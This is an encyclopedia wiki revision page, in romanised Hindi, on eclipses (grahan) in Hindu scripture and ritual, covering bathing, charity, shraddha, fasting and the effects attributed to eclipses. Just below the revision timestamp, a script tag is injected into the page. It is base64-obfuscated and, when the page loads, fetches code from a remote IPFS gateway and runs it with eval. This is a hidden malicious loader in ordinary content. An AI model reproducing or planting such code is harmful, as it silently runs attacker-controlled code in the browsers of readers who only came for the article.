Difference between revisions of "ग्रहण"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (1 अवतरण)
Line 1: Line 1:
−
 
 
==ग्रहण / Grahan==
 
==ग्रहण / Grahan==
 
{{tocright}}
 
{{tocright}}
Line 64: Line 63:
 
==टीका-टिप्पणी==                                                       
 
==टीका-टिप्पणी==                                                       
 
<references/>
 
<references/>
 +
==अन्य लिंक==
 
[[Category:संस्कृति कोश]]
 
[[Category:संस्कृति कोश]]
 
[[Category:पर्व और त्योहार]]
 
[[Category:पर्व और त्योहार]]
 
{{साँचा:पर्व और त्योहार}}
 
{{साँचा:पर्व और त्योहार}}
 
__INDEX__
 
__INDEX__

Revision as of 07:24, 27 March 2010

grahan / Grahan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prachin kaloan se soory-chandr-grahanoan ko mahattv diya jata raha hai. grahan ke sambandh mean vishal sahity ka nirman ho chuka hai. sambandhit granth haian-

  1. hemadri
  2. kalavivek
  3. krityaratnakar
  4. kalanirnay
  5. varshakriyakaumudi
  6. tithitattv
  7. krityatattv
  8. nirnayasindhu
  9. smritikaustubh
  10. dharmasindhu
  11. gadadharapaddhati [1]

soory aur chandrgrahan

  • poorn soory-grahan ka sanket rrigved<balloon title="rrigved(5.40.5-6, 8)" style="color:blue">*</balloon> mean bhi hai.
  • shaankhayan brahman<balloon title="shaankhayan brahman(24.3)" style="color:blue">*</balloon> mean aya hai ki atri ne vishuvat (vishuv) ke tin din poorv saptadash-stom krity kiya aur usake dvara us svarbhanu ko pachha da jisane soory ko aandhakar se bhed diya tha, arthat sooryagrahan<balloon title="rrigved5.40.5)" style="color:blue">*</balloon> sharad vishuv ke tin din poorv hua tha.
  • brihatsanhita se prakat hota hai ki grahan ka vastavik karan bharatiy jyotish shastrajnoan ko varahamihir (eesa ki chhathi shatabdi ka poorvardh) ke kee shatabdiyoan poorv se jnat tha. varahamihir ne likha hai - chandragrahan mean chandr prithivi ki chhaya mean a jata hai tatha sooryagrahan mean chandr soory mean pravisht ho jata hai. (arthat soory evan prithivi ke bich mean chandr a jata hai.), grahanoan ke is karan ko pahale ke achary apani divy drishti se janate the; rahu grahanoan ka karan nahian hai, yahi saty sthiti hai jise shastr ghoshit karata hai. [2]is saty siddhant ke rahate hue samany log, yahaan tak ki padhe-likhe log (kintu jyotishashastrajn nahian). pahale vishvas karate the aur ab bhi vishvas karate haian ki rahu ke karan grahan lagate haian aur unhean snan, dan, jap, shraddh adi ka vishisht avasar manate haian. varahamihir ne shruti, smriti, samany vishvas evan jyotish ke siddhant ka samadhan karane ka prayatn kiya hai aur kaha hai ki ek asur tha jise brahma ne varadan diya ki grahan par diye gaye danoan evan ahutiyoan se tum ko santushti prapt hogi. vahi asur apana aansh grahan karane ko upasthit rahata hai v use lakshanik roop se rahu kaha jata hai. buddhivad, samany paramparaean evan andhavishvas ek-sath nahian chal sakate. soory evan chandr ke grahanoan mean kuchh antar upasthit kiya gaya tha.
  • vyas ki ukti hai- 'chandragrahan (samany din se) ek lakhaguna (phaladayak) hai aur soory grahan pahale se dasaguna, yadi ganga-jal (snan ke lie) pas mean ho to chandragrahan ek karodaguna adhik (phaladayak) hai aur sooryagrahan usase das-guna adhik [3]grahan-darshan par pratham kartavy hai snan karana. aisa kaha gaya hai ki rahu dekhane par sabhi varnoan ke log apavitr ho jate hai. unhean sarvapratham snan karana chahie, tab any kartavy karane chahie, (grahan ke poorv) pakaye hue bhojan ka tyag kar dena chahie.<balloon title="hemadri , kal, pri0 390; kalavivek, pri0 533; varshakriyakaumudi, pri0 91)" style="color:blue">*</balloon>
  • grahan ke samay ke vishay mean vichitr punitata ka ullekh hua hai, yadi koee vyakti grahan-kal evan sankranti-kal mean snan nahian karata to vah bhavi sat janmoan mean kodhi ho jayaga aur du:kh ka bhagi hoga (s0m0, pri0 130). use thande jal mean snan karana chahie aur vah bhi yathasambhav pavitr sthal par. punitatam snan ganga nadi mean ya godavari mean ya prayag mean hota hai, isake uparant kisi bhi b di nadi mean, yatha 6 nadiyaan jo himalay se nikali haian, 6 nadiyaan jo vindhy se nikali haian, isake uparant kisi bhi jal mean, kyoanki grahan ke samay sabhi jal ganga ke saman pavitr ho uthate haian. garm jal ka snan keval bachchoan, boodhoan evan rogiyoan ke lie ajnapit hai. [4]
  • grahan arambh hone par snan, hom, devoan ki pooja, grahan ke samay shraddh, jab grahan samapt hone ko ho to dan tatha jab grahan samapt ho jay to pun: snan karana chahie. janan-maran ke samay ashauch par bhi grahan ke samay snan karana chahie, kintu gau d-lekhakoan ke mat se, use dan ya shraddh nahian karana chahie. is vishay mean madanaratn tatha nirnayasindhu ne virodhi mat diya hai; unake mat se ashauch mean snan, dan, shraddh evan prayashchitt karana chahie.<balloon title="(nirnayasindhu, pri0 66)" style="color:blue">*</balloon>
  • kuchh puranoan evan nibandhoan mean kuchh vishisht masoan ke grahanoan ke phaloan tatha kuchh vishisht nadiyoan ya poot sthaloan mean snan ke phaloan mean antar pratipadit hue haian.
  • kalanirnay ne chandragrahan par godavari mean evan sooryagrahan par narmada mean snan ki vyavastha di hai.<balloon title="kalanirnay(pri0 350)" style="color:blue">*</balloon>
  • krityakalpataroo (naiyatakal), hemadri (kal) evan kalavivek ne devipuran ki uktiyaan di haian, jinamean kuchh nimn haian- 'kartik ke grahan mean ganga-yamuna-sangam shreshth hai, margashirsh mean devika mean, paush mean narmada mean, magh mean sannihita nadi pavitr hai' adi-adi. samany niyam yah hai ki ratri mean snan, dan evan shraddh varjit hai.
  • apastambamantrapath mean aya hai- 'ratri mean use snan nahian karana chahie.'<balloon title="apastambamantrapath(1.11.32.8)" style="color:blue">*</balloon>
  • manusmriti ka kathan hai- ratri mean snan nahian hona chahie, kyoanki vah rakshasi ghoshit hai, aur donoan sandhyayoan mean tatha jab soory abhi-abhi udit hua hai snan nahian karana chahie. kintu grahan mean snan, dan evan shraddh apavad haian.<balloon title="manusmriti(3.280)" style="color:blue">*</balloon>
  • yajnavalkyasmriti ke anusar grahan shraddh-kal kaha gaya hai.<balloon title="yajnavalkyasmriti(1.2.18)" style="color:blue">*</balloon>
  • shatatap ka kathan hai ki grahan ke samay danoan, snanoan, tapoan evan shraddhoan se akshay phal prapt hote haian, any krityoan mean ratri (grahanoan ko chho dakar) rakshasi hai, at: isase vimukh rahana chahie.<balloon title="(hemadri, kal, pri0 387; kalavivek,pri0 527; smritikaustubh, pri0 71)" style="color:blue">*</balloon>
  • mahabharat mean aya hai- 'ayan evan vishuv ke dinoan mean, chandr-soory-grahanoan par vyakti ko chahie ki vah supatr brahman ko dakshina ke sath bhoomidan de,'.<balloon title="(kalanirnay, pri0 354; smritikaustubh, pri0 72)" style="color:blue">*</balloon>
  • yajnavalkyasmriti mean hai ki 'keval vidya ya tap se hi vyakti supatr nahian hota, vahi vyakti patr hai jisamean ye donoan tatha karm (in donoan ke samanuroop) paye jayean.'
  • katipay shilalekhoan mean grahan ke samay ke bhoomidanoan ka ullekh hai; prachin evan madhy kaloan mean raja evan dhani log aisa karate the [5]. aj bhi grahan ke samay daridr log nagaroan evan bastiyoan mean vastroan evan paisoan ke lie shor-gul karate drishtigochar hote haian.

grahan ke samay shraddh

grahan ke samay shraddh-karm karana do karanoan se kathin hai-

  1. adhikaansh mean grahan alpavadhi ke hote haian,
  2. doosare, grahan ke samay bhojan karana varjit hai. grahan ke samay bhojan karane se prajapaty prayashchitt karana p data hai. isi se kuchh smritiyoan evan nibandhoan mean aisa aya hai ki shraddh am-shraddh ya hem-shraddh hona chahie. grahan ke samay shraddh karane se b da phal milata hai, kintu us samay bhojan karane par prayashchitt karana p data hai aur vyakti any logoan ki drishti mean gir jata hai.
  • mitakshar<balloon title="(yajnavalkyasmriti 1.217-218)" style="color:blue">*</balloon> ne uddhrit kiya hai- 'soory ya chandr ke grahanoan ke samay bhojan nahian karana chahie.' at: koee patr brahman asani se nahian mil sakata, aur vistar ke sath shraddh-karm ek prakar se asambhav hai. tab bhi shatatap adi kahate haian ki shraddh karana avashyak hai- 'rahu darshan par vyakti ko shraddh karana chahie, yahaan tak ki apani sampoorn sampatti ke sath; jo vyakti shraddh nahian karata vah gay ke saman pank mean doob jata hai.'

grahan ka vidhan

grahan par krityoan ke kram yoan haian-

  1. ganga ya kisi any jal mean snan,
  2. pranayam,
  3. tarpan,
  4. gayatrijap,
  5. agni mean til evan vyahritiyoan tatha grahoan ke lie vyavasthit mantroan ke sath hom<balloon title="(yajnavalkyasmriti 1/ 30-301)" style="color:blue">*</balloon>, isake uparant
  6. am-shraddh, sona, gayoan evan bhoomi ke dan. ajakal adhikaansh log grahan ke samay snan karate haian aur kuchh dan bhi karate haian kintu grahan-sambandhi any krity nahian karate. grahan-kal jap, diksha, mantr-sadhana (vibhinn devoan ke nimitt) ke lie uttam kal hai.<balloon title="hemadri, kal, pri0 389; tithitattv, pri0 156; nirnayasindhu, pri0 67" style="color:blue">*</balloon> jab tak grahan aankhoan se dikhaee deta hai tab tak ki avadhi punyakal kahi jati hai.

vibhinn mat

  • jabali mean aya hai- 'sankranti mean isake idhar-udhar 16 kalaoan tak punyakal rahata hai kintu sooryachandr-brahan mean yah keval tab tak rahata hai jab tak grahan darshan hota rahata hai [6]. is vishay mean madhyakalik granthoan mean b de mat-matantar haian. vibhed 'yavaddarshanagochar' evan 'rahu-darshan' shabdoan ko lekar hai. [7]
  • krityakalpataroo ka tark hai ki 'darshan' shabd katipay krityoan (yatha snan, dan adi) ke karan evan avasar ko batata hai, grahan to tabhi avasar hai jab yah jana ja sake ki vah ghatit hua hai aur yah jnan aankh se prapt hota hai tatha jab soory ya chandr badaloan mean chhipa ho to vyakti grahan ke samay ke pratipadit karm nahian bhi kar sakata hai. hemadri ne isaka uddharan dekar isaki alochana ki hai. ve manu ke is kathan par vishvas karate haian ki<balloon title="manusmriti 4.37" style="color:blue">*</balloon> vyakti ko udit hote hue, ast hote hue ya jab usaka grahan ho yah jal mean pratibimbit ho ya jab soory madhyahn mean ho to usako nahian dekhana chahie. aisi sthiti mean manu ke mat se vastavik grahan-darshan asambhav hai aur tab to vyakti snan nahian kar sakata. hemadri ka kathan hai ki shisht log snan adi karate haian, bhale hi ve grahan ko vastavik roop mean n dekh sakean. at: unake mat se punyakal tab tak rahata hai jab tak (jyotish) shastr dvara vah samapt n samajha jay.
  • krityaratnakar (pri0 526) ka kathan hai ki jab tak uparag (grahan) darshan yogy rahata hai tab tak snanadi kriya hoti rahati hai. kuchh logoan ne to aisa tark kiya hai ki keval grahan-matr (darshan nahian) aisa avasar hai jab ki snan, dan adi krity kiye jane chahie, kintu kalavivek (pri0 521) ne uttar diya hai. ki yadi grahan-matr hi snanadi ka avasar hai to aisi sthiti utpann ho jaegi ki yadi chandr ka grahan kisi any dvip mean ho to vyakti ko din mean hi sooryagrahan ke saman apane desh mean snanadi karane hoange.
  • smritikaustubh (pri0 70) evan samayaprakash (pri0 126) ne isilie kaha hai ki 'darshanagochar' ka tatpary yah hai ki jab vyakti jyotishashastr se janata hai ki kisi desh mean grahan aankhoan se dekha ja sakata hai to use us kal mean snanadi krity karane chahie. (bhale hi vah use n dekh sake)
  • sanvatsar pradip ne spasht likha hai- 'vahi grahan hai jo dekha ja sake, vyakti ko aise grahan par dharmik krity karane chahie, keval ganana par hi ashrit nahian rahana chahie.' yadi sooryagrahan ravivar ko evan chandragrahan somavar ko ho to aisa sammilan 'choo damani' kahalata hai aur aisa pratipadit hai ki choo damani grahan any grahanoan ki apeksha ek koti adhik phaladayak hota hai. [8]
  • kuchh logoan ne aisa pratipadit kiya hai ki grahan ke ek din poorv upavas karana chahie, kintu hemadri ne kaha hai ki upavas grahan-din par hi hona chahie. kintu putravan grihasth ko upavas nahian karana chahie.<balloon title="hemadri vrat, bhag 2, pri0 917" style="color:blue">*</balloon> bahut prachin kaloan se grahan ke poorv, usake samay tatha uparant bhojan karane ke vishay mean vistar ke sath niyam bane haian.[9]. inamean katipay shlok vibhinn logoan dvara vibhinn logoan ke kahe gaye haian.
  • vishnudharmasootr mean vyavastha hai- 'chandr ya soory ke grahan-kal mean bhojan nahian karana chahie; jab grahan samapt ho jay to snan karake khana chahie; yadi grahan ke poorv hi soory ya chandr ast ho jayean to snan karana chahie aur sooryoday dekhane ke uparant hi pun: khana chahie.' yahi bat kuchh granthoan mean uddhrit do shlokoan mean vistarit hai- 'soory-grahan ke poorv nahian khana chahie aur chandr-grahan ke din ki sandhya mean bhi nahian khana chahie; grahan-kal mean bhi nahian khana chahie; kintu jab soory evan chandr grahan se mukt ho jayean to snanoparant khaya ja sakata hai; jab chandr mukt ho jay to usake uparant ratri mean bhi khaya ja sakata hai, kintu yah tabhi kiya ja sakata hai jab mahanisha n ho; jab grahan se mukt hone ke poorv hi soory ya chandr ast ho jayean to doosare din unake uday ko dekhakar hi snan karake khana chahie.'
  • yah bhi kaha gaya hai ki n keval grahan ke kal mean hi khana nahian chahie, pratyut chandragrahan mean arambh hone se 3 prahar (9 ghante ya 22.5 ghatikaean) poorv bhi bhojan nahian karana chahie aur sooryagrahan ke arambh ke char prahar poorv bhojan nahian karana chahie; kintu yah niyam bachchoan, vriddhoan evan striyoan ke lie nahian hai. [10]. yah tin ya char praharoan ki avadhi (grahan ke poorv se) prachin kal se ab tak 'vedh' nam se vikhyat hai. krityatattv (pri0 434) ne bhojan vishayak sabhi uparyukt niyam ek sthan par ekatr kar rakhe haian. aj ye niyam bhali bhaanti nahian sampadit hote, kintu aj se lagabhag 70 varsh poorv aisi sthiti nahian thi.

grahan ke phal

grahanoan se utpann bahut se phaloan ki charcha huee hai. do-ek udaharan yahaan diye jate haian. vishnudharmottar<balloon title="vishnudharmottar(1.75.56)" style="color:blue">*</balloon> mean aya hai- 'yadi ek hi mas mean pahale chandr aur uparant soory ke grahan hoan to is ghatana ke phalasvaroop brahmanoan evan kshatriyoan mean jhag de ya virodh utpann hoange, kintu yadi isaka ulata ho to samriddhi ki vriddhi hoti hai. [11]. usi puran mean yah bhi aya hai- 'us nakshatr mean, jisamean soory ya chandr ka grahan hota hai, utpann vyakti du:kh pate haian, kintu in du:khoan ka marjan shanti krityoan se ho sakata hai.' is vishay mean atri ki ukti hai- 'yadi kisi vyakti ke janm-din ke nakshatr mean chandr evan soory ka grahan ho to us vyakti ko vyadhi, pravas, mrityu evan raja se bhay hota hai. [12]

tika-tippani

  1. ↑ hemadri (kal, pri0 379-394), kalavivek (pri0 521-543), krityaratnakar (pri0 625-631), kalanirnay (pri0 346-358), varshakriyakaumudi (pri0 90-117), tithitattv (pri0 150-162), krityatattv (pri0 432-434), nirnayasindhu (pri0 61-76), smritikaustubh (pri0 69-80), dharmasindhu (pri0 32-34), gadadharapaddhati (kalasar, pri0 588-599)
  2. ↑ bhoochchhayaan svagrahane bhaskaramarkagrahe pravishatindu:.... ityuparagakaranamuktamidan divyadrigbhiracharvai:. rahurakaranamasmitriyukt: shastrasadbhav:॥ brihatsanhita (5.8 evan 13)
  3. ↑ indorlakshagunan proktan raverdashagunan smritamh. gangatoye tu samprapte indo: koti raverdash॥ hemadri (kal, pri0 384), kalavivek (pri0 521) evan nirnayasindhu (pri0 64).
  4. ↑ sarv gangasaman toyan sarve vyasasama dvija:. sarv meroosaman danan grahane sooryachandrayo:॥ bhujabal (pri0 348); varshakriyakaumudi (pri0 111); kalanirnay (pri0 348); s0 m0 (pri0 130). godavari bhimarathi tuangabhadra ch venika. tapi payoshni vindhyasy dakshine tu prakirtita:॥ bhagirathi narmada ch yamuna ch sarasvati. vishoka ch vitasta ch himavatparvatashrita:॥ eta nady: pushyatama devatirthanyudahrita:. brahmapuran (70 .33-34)
  5. ↑ dekhie indiyan aintikveri, 6, pri0 72-75; epigraiphiya indika, 3, pri0 1-7; epigraiphiya indika, 3, pri0 103-110 ; epigraiphiya indika, 7, pri0 202-208; epigraiphiya indika, 9, pri0 97-102; epigraiphiya indika, 14, pri0 156-163 adi-adi)
  6. ↑ lakshmidhar krit krityakalpataroo, naiyat, pri0 368; hemadri, kal, 388; krityaratnakar, pri0 625; smritikaustubh, pri0 69)
  7. ↑ snanan danan tap: shraddhamanantan rahudarshane. asuri ratriranyatr tasmattaan parivarjayeth॥ (hemadri, kal, pri0 387; kalavivek, pri0 527; smritikaustubh, pri0 71). sankantau punyakalastu shodashobhayat: kala:. chandrasooryoparage tu yavaddarshanagochar:॥ jabali (lakshmidhar krit krityakalpat, naiyat, pri0 368; hemadri, kal, pri0 388; krityaratnakar, pri0 624; smritikaustubh, pri0 69)
  8. ↑ kalavivek, pri0 523; kalanirnay , pri0 351; tithitattv, pri0 154; smritikaustubh, 70, vyas se uddhrit)
  9. ↑ chandrarkoparage nashniyadavimuktayorastangatayordrishtva snatva pareahani. vishnudharmasootr (68. 1-3); hemadri, kal, pri0 396; kalavivek, pri0 537; krityaratnakar, pri0 626; varshakriyakaumudi, pri0 102; nadyatsooryagrahatpoorvamahni sayan shashigrahath. grahakale ch nashniyatsnatvashniyachch vimuktayoan:॥ mukte shashini bhuanjit yadi syatr mahanisha. snatva drishtvapareahvachadyadh grastastamitayostayo:॥ uddhat- krityakalpataroo (naiyat0, pri0 309-310); kalavivek (pri0 537); hemadri(kal, pri0 370); krityaratnakar (pri0 626-627); varshakriyakaumudi (pri0 104)
  10. ↑ vriddhagautam:. sooryagrahe tu nashniyath poorv yamachatushtayamh. chandragrahe tu yamaanstrinh balavriddhaturairvina॥ hemadri, kal, pri0 381; smritikaustubh, pri0 76
  11. ↑ 'ekasminyadi mase syadh grahanan chandrasooryayo:. brahmakshatravirodhay viparite vivriddhaye॥ vishnudharmotar (1.85.56) 'yannakshatragatau rahurgrasate chandrabhaskarau. tajjatanaan bhavetpida ye nara: shantivarjita:॥' vahi, (1.85.33-34)
  12. ↑ 'ah chatri:. yasy svajanmanakshatre grasyete shashibhaskarau. vyadhian pravasan mrityuan ch rajnashchaiv mahadbhayamh॥ kalavivek (pri0 543), hemadri (kal0 pri0 392-393)

any liank

Template:saancha:parv aur tyohar

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=ग्रहण&oldid=6695"